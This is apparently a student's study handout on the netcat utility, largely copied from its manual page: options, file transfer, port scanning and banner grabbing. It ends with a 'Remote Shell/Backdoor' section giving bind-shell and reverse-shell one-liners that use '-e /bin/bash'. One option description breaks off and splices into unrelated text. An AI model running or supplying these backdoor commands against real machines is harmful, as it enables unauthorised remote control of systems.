Summer Netcat Package

Dongqi Guo

05/31/2017

At Northeastern University

Name 02

Synopsis 02

Description 03

Client/Server Model 06

Data Transfer 07

Talking to Server 08

Port Scanning 09

Examples 10

Remote Shell/Backdoor 11

NAME

nc - arbitrary TCP and UDP connections and listens

SYNOPSIS

     nc [-46AcDCdhklnrtUuvz] [-b boundif] [-i interval] [-p source\_port]

        [-s source\_ip\_address] [-w timeout] [-X proxy\_protocol] [-x proxy\_address[:port]]

        [--apple-delegate-pid pid] [--apple-delegate-uuid uuid] [--apple-ext-bk-idle]

        [--apple-nowakefromsleep] [--apple-ecn mode] [hostname] [port[s]]

DESCRIPTION

     The nc (or netcat) utility is used for just about anything under the sun involving

     TCP or UDP.  It can open TCP connections, send UDP packets, listen on arbitrary TCP

     and UDP ports, do port scanning, and deal with both IPv4 and IPv6.  Unlike telnet(1),

     nc scripts nicely, and separates error messages onto standard error instead of send-

     ing them to standard output, as telnet(1) does with some.

     Common uses include:

           o   simple TCP proxies

           o   shell-script based HTTP clients and servers

           o   network daemon testing

           o   a SOCKS or HTTP ProxyCommand for ssh(1)

           o   and much, much more

     The options are as follows:

     -4      Forces nc to use IPv4 addresses only.

     -6      Forces nc to use IPv6 addresses only.

     -A      Set SO\_RECV\_ANYIF on socket.

     -b boundif

             Specifies the interface to bind the socket to.

     -c      Send CRLF as line-ending

-D      Enable debugging on the socket.

-C      Forces nc not to use cellular data context.

     -d      Do not attempt to read from stdin.

     -h      Prints out nc help.

     -i interval

             Specifies a delay time interval between lines of text sent and received.

             Also causes a delay time between connections to multiple ports.

     -G conntimeout

             TCP connection timeout in seconds.

     -H keepidle

             Initial TCP keep alive timeout in seconds.

     -I keepintvl

             Interval for repeating TCP keep alive timeouts in seconds.

     -J keepcnt

             Number of times to repeat TCP keep alive packets.

     -k      Forces nc to stay listening for another connection after its current connec-

             tion is completed.  It is an error to use this option without the -l option.

     -l      Used to specify that nc should listen for an incoming connection rather than

             initiate a connection to a remote host.  It is an error to use this option in

             conjunction with the -p, -s, or -z options.  Additionally, any timeouts spec-

             ified with the -w option are ignored.

     -L num\_probes

             Number of probes to send to the peer before declaring that the peer is not

             reachable and generating an adpative timeout read/write event.

     -n      Do not do any DNS or service lookups on any specified addresses, hostnames or

             ports.

-p source\_port

Specifies the source port nc should use, subject to privilege restrictions

             and availability.  It is an error to use this option in conjunction with the

             -l option.

     -r      Specifies that source and/or destination ports should be chosen randomly

             instead of sequentially within a range or in the order that the system

             assigns them.

     -s source\_ip\_address

             Specifies the IP of the interface which is used to send the packets.  It is

             an error to use this option in conjunction with the -l option.

     -t      Causes nc to send RFC 854 DON'T and WON'T responses to RFC 854 DO and WILL

             requests.  This makes it possible to use nc to script telnet sessions.

     -U      Specifies to use Unix Domain Sockets.

     -u      Use UDP instead of the default option of TCP.

     -v      Have nc give more verbose output.

     -w timeout

             If a connection and stdin are idle for more than timeout seconds, then the

             connection is silently closed.  The -w flag has no effect on the -l option,

             i.e. nc will listen forever for a connection, with or without the -w flag.

             The default is no timeout.

    -X proxy\_version

             Requests that nc should use the specified protocol when talking to the proxy

             server.  Supported protocols are ``4'' (SOCKS v.4), ``5'' (SOCKS v.5) and

             ``connect'' (HTTPS proxy).  If the protocol is not specified, SOCKS version 5

             is used.

   -x proxy\_address[:port]

Requests that nc should connect to hostname using a proxy at proxy\_address

             opened ports that is queried by drivers when the system goes to sleep.

    -z      Specifies that nc should just scan for listening daemons, without sending any

             data to them.  It is an error to use this option in conjunction with the -l

             option.

     hostname can be a numerical IP address or a symbolic hostname (unless the -n option

     is given).  In general, a hostname must be specified, unless the -l option is given

     (in which case the local host is used).

     port[s] can be single integers or ranges.  Ranges are in the form nn-mm.  In general,

     a destination port must be specified, unless the -U option is given (in which case a

socket must be specified).

CLIENT/SERVER MODEL

     It is quite simple to build a very basic client/server model using nc.  On one con-

     sole, start nc listening on a specific port for a connection.  For example:

           $ nc -l 1234

     nc is now listening on port 1234 for a connection.  On a second console (or a second

     machine), connect to the machine and port being listened on:

           $ nc 127.0.0.1 1234

     There should now be a connection between the ports.  Anything typed at the second

     console will be concatenated to the first, and vice-versa.  After the connection has

     been set up, nc does not really care which side is being used as a `server' and which

     side is being used as a `client'.  The connection may be terminated using an EOF

     (`^D').

DATA TRANSFER

     The example in the previous section can be expanded to build a basic data transfer

     model.  Any information input into one end of the connection will be output to the

     other end, and input and output can be easily captured in order to emulate file

     transfer.

     Start by using nc to listen on a specific port, with output captured into a file:

           $ nc -l 1234 > filename.out

     Using a second machine, connect to the listening nc process, feeding it the file

     which is to be transferred:

           $ nc host.example.com 1234 < filename.in

After the file has been transferred, the connection will close automatically.

Instances

Send File:

Cat [file name] | nc –v –l [port number]

Receive File:

nc [ip address] [port number] > [local file name]

TALKING TO SERVERS

     It is sometimes useful to talk to servers ``by hand'' rather than through a user

     interface.  It can aid in troubleshooting, when it might be necessary to verify what

     data a server is sending in response to commands issued by the client.  For example,

     to retrieve the home page of a web site:

           $ echo -n "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80

     Note that this also displays the headers sent by the web server.  They can be fil-

     tered, using a tool such as sed(1), if necessary.

     More complicated examples can be built up when the user knows the format of requests

     required by the server.  As another example, an email may be submitted to an SMTP

     server using:

           $ nc localhost 25 << EOF

           HELO host.example.com

           MAIL FROM: <user@host.example.com>

           RCPT TO: <user2@host.example.com>

           DATA

           Body of email.

           .

           QUIT

           EOF

PORT SCANNING

     It may be useful to know which ports are open and running services on a target

     machine.  The -z flag can be used to tell nc to report open ports, rather than initi-

     ate a connection.  For example:

           $ nc -z host.example.com 20-30

           Connection to host.example.com 22 port [tcp/ssh] succeeded!

           Connection to host.example.com 25 port [tcp/smtp] succeeded!

     The port range was specified to limit the search to ports 20 - 30.

     Alternatively, it might be useful to know which server software is running, and which

     versions.  This information is often contained within the greeting banners.  In order

     to retrieve these, it is necessary to first make a connection, and then break the

     connection when the banner has been retrieved.  This can be accomplished by specify-

     ing a small timeout with the -w flag, or perhaps by issuing a "QUIT" command to the

     server:

           $ echo "QUIT" | nc host.example.com 20-30

           SSH-1.99-OpenSSH\_3.6.1p2

           Protocol mismatch.

           220 host.example.com IMS SMTP Receiver Version 0.84 Ready

EXAMPLES

     Open a TCP connection to port 42 of host.example.com, using port 31337 as the source

     port, with a timeout of 5 seconds:

           $ nc -p 31337 -w 5 host.example.com 42

     Open a UDP connection to port 53 of host.example.com:

           $ nc -u host.example.com 53

     Open a TCP connection to port 42 of host.example.com using 10.1.2.3 as the IP for the

     local end of the connection:

           $ nc -s 10.1.2.3 host.example.com 42

     Create and listen on a Unix Domain Socket:

           $ nc -lU /var/tmp/dsocket

     Connect to port 42 of host.example.com via an HTTP proxy at 10.2.3.4, port 8080.

     This example could also be used by ssh(1); see the ProxyCommand directive in

     ssh\_config(5) for more information.

           $ nc -x10.2.3.4:8080 -Xconnect host.example.com 42

listening server and write it into a file

$ nc –l –v 1234 > data.txt

|  |  |
| --- | --- |
|  |  |

REMOTE SHELL/BACKDOOR

Open a remote shell:

nc –v –l 7777 –e /bin/bash

connect to a remote shell:

nc [ip address] [port number]

reverse shell

nc –l –v [port number]

nc [ip address] [port number] –e /bin/bash